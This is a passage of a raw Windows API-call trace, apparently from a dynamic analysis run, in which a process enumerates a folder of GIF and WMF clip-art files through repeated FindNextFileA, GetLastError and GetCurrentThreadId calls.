lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0135.129] GetLastError () returned 0x12 [0135.129] GetCurrentThreadId () returned 0x9b0 [0135.129] GetLastError () returned 0x12 [0135.129] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0135.129] GetLastError () returned 0x12 [0135.129] GetCurrentThreadId () returned 0x9b0 [0135.129] GetLastError () returned 0x12 [0135.129] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0135.130] GetLastError () returned 0x12 [0135.130] GetCurrentThreadId () returned 0x9b0 [0135.130] GetLastError () returned 0x12 [0135.130] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0135.130] GetLastError () returned 0x12 [0135.130] GetCurrentThreadId () returned 0x9b0 [0135.130] GetLastError () returned 0x12 [0135.130] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0135.130] GetLastError () returned 0x12 [0135.131] GetCurrentThreadId () returned 0x9b0 [0135.131] GetLastError () returned 0x12 [0135.131] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0135.131] GetLastError () returned 0x12 [0135.131] GetCurrentThreadId () returned 0x9b0 [0135.131] GetLastError () returned 0x12 [0135.131] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0135.131] GetLastError () returned 0x12 [0135.131] GetCurrentThreadId () returned 0x9b0 [0135.131] GetLastError () returned 0x12 [0135.131] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0135.131] GetLastError () returned 0x12 [0135.131] GetCurrentThreadId () returned 0x9b0 [0135.132] GetLastError () returned 0x12 [0135.132] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0135.132] GetLastError () returned 0x12 [0135.132] GetCurrentThreadId () returned 0x9b0 [0135.132] GetLastError () returned 0x12 [0135.132] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0135.132] GetLastError () returned 0x12 [0135.132] GetCurrentThreadId () returned 0x9b0 [0135.132] GetLastError () returned 0x12 [0135.132] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0135.132] GetLastError () returned 0x12 [0135.132] GetCurrentThreadId () returned 0x9b0 [0135.132] GetLastError () returned 0x12 [0135.133] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0135.133] GetLastError () returned 0x12 [0135.133] GetCurrentThreadId () returned 0x9b0 [0135.133] GetLastError () returned 0x12 [0135.133] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0135.133] GetLastError () returned 0x12 [0135.133] GetCurrentThreadId () returned 0x9b0 [0135.133] GetLastError () returned 0x12 [0135.133] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0135.133] GetLastError () returned 0x12 [0135.133] GetCurrentThreadId () returned 0x9b0 [0135.133] GetLastError () returned 0x12 [0135.133] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0135.133] GetLastError () returned 0x12 [0135.134] GetCurrentThreadId () returned 0x9b0 [0135.134] GetLastError () returned 0x12 [0135.134] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0135.134] GetLastError () returned 0x12 [0135.134] GetCurrentThreadId () returned 0x9b0 [0135.134] GetLastError () returned 0x12 [0135.134] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0135.134] GetLastError () returned 0x12 [0135.134] GetCurrentThreadId () returned 0x9b0 [0135.134] GetLastError () returned 0x12 [0135.134] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0135.134] GetLastError () returned 0x12 [0135.134] GetCurrentThreadId () returned 0x9b0 [0135.135] GetLastError () returned 0x12 [0135.135] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0135.135] GetLastError () returned 0x12 [0135.135] GetCurrentThreadId () returned 0x9b0 [0135.135] GetLastError () returned 0x12 [0135.135] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0135.135] GetLastError () returned 0x12 [0135.135] GetCurrentThreadId () returned 0x9b0 [0135.135] GetLastError () returned 0x12 [0135.135] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0135.135] GetLastError () returned 0x12 [0135.135] GetCurrentThreadId () returned 0x9b0 [0135.135] GetLastError () returned 0x12 [0135.135] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] GetCurrentThreadId () returned 0x9b0 [0135.136] GetLastError () returned 0x12 [0135.136] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] GetCurrentThreadId () returned 0x9b0 [0135.136] GetLastError () returned 0x12 [0135.136] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0135.136] GetLastError () returned 0x12 [0135.136] GetCurrentThreadId () returned 0x9b0 [0135.136] GetLastError () returned 0x12 [0135.136] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0135.136] GetLastError () returned 0x12 [0135.137] GetCurrentThreadId () returned 0x9b0 [0135.137] GetLastError () returned 0x12 [0135.137] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] GetCurrentThreadId () returned 0x9b0 [0135.137] GetLastError () returned 0x12 [0135.137] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] GetCurrentThreadId () returned 0x9b0 [0135.137] GetLastError () returned 0x12 [0135.137] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0135.137] GetLastError () returned 0x12 [0135.137] GetCurrentThreadId () returned 0x9b0 [0135.137] GetLastError () returned 0x12 [0135.138] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0135.138] GetLastError () returned 0x12 [0135.138] GetCurrentThreadId () returned 0x9b0 [0135.138] GetLastError () returned 0x12 [0135.138] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0135.138] GetLastError () returned 0x12 [0135.138] GetCurrentThreadId () returned 0x9b0 [0135.138] GetLastError () returned 0x12 [0135.138] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0135.138] GetLastError () returned 0x12 [0135.138] GetCurrentThreadId () returned 0x9b0 [0135.138] GetLastError () returned 0x12 [0135.138] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0135.139] GetLastError () returned 0x12 [0135.139] GetCurrentThreadId () returned 0x9b0 [0135.139] GetLastError () returned 0x12 [0135.139] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0135.139] GetLastError () returned 0x12 [0135.139] GetCurrentThreadId () returned 0x9b0 [0135.139] GetLastError () returned 0x12 [0135.139] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0135.139] GetLastError () returned 0x12 [0135.139] GetCurrentThreadId () returned 0x9b0 [0135.139] GetLastError () returned 0x12 [0135.139] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0135.139] GetLastError () returned 0x12 [0135.139] GetCurrentThreadId () returned 0x9b0 [0135.140] GetLastError () returned 0x12 [0135.140] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0135.140] GetLastError () returned 0x12 [0135.140] GetCurrentThreadId () returned 0x9b0 [0135.140] GetLastError () returned 0x12 [0135.140] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0135.140] GetLastError () returned 0x12 [0135.140] GetCurrentThreadId () returned 0x9b0 [0135.140] GetLastError () returned 0x12 [0135.140] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0135.140] GetLastError () returned 0x12 [0135.140] GetCurrentThreadId () returned 0x9b0 [0135.141] GetLastError () returned 0x12 [0135.141] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0135.141] GetLastError () returned 0x12 [0135.141] GetCurrentThreadId () returned 0x9b0 [0135.141] GetLastError () returned 0x12 [0135.141] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: 